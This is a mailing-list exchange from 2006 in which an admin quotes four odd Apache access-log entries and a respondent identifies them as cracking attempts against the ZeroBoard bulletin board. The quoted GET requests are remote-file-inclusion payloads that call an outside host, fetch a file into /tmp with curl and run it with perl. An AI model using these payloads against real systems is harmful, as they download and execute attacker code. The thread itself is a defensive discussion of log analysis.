Re: odd stuff in apache access weblog

["Shalom Carmel" <shalom@xxxxxxxxxx>]

These are attacks - cracking attempts - against the ZeroBoard web bulletin 
board.
See http://xforce.iss.net/xforce/xfdb/18893 for the gory details.
It also means that the bad guys have taken over the server at 
www.rosmtp.bizland.com.
I wonder - how come you don't have these entries in the error log as well? 
Do you use ZeroBoard?

Shalom Carmel


> date: Fri, 17 Mar 2006 20:49:36 -0500
> from: "Jim Franz" <franz400@xxxxxxxxxxxx>
> subject: odd stuff in apache access weblog
>
> Why would our i5 Apache server process this?Not in the wwwerror log but in 
> the wwwaccess log.
> Is it simply that these GETS caused no errors....?
> These 4 entries, which occurred several times today were the only entries 
> out of 8,000 that were not our cgi programs.
>
> "GET 
> //bbs/skin/zero_vote/error.php?dir=http://www.rosmtp.bizland.com/cmd2.gif?&cmd=cd%20/tmp;curl%20-O%20http://rosmtp.bizland.com/www;perl%20www 
> HTTP/1.1
> "GET 
> /board/skin/zero_vote/error.php?dir=http://www.rosmtp.bizland.com/cmd2.gif?&cmd=cd%20/tmp;curl%20-O%20http://rosmtp.bizland.com/www;perl%20www 
> HTTP/1.1
> "GET 
> /zboard/skin/zero_vote/error.php?dir=http://www.rosmtp.bizland.com/cmd2.gif?&cmd=cd%20/tmp;curl%20-O%20http://rosmtp.bizland.com/www;perl%20www 
> HTTP/1.1
> "GET 
> /zeroboard/bbs/skin/zero_vote/error.php?dir=http://www.rosmtp.bizland.com/cmd2.gif?&cmd=cd%20/tmp;curl%20-O%20http://rosmtp.bizland.com/www;perl%20www 
> HTTP/1.1
>
> v5r3
> jim franz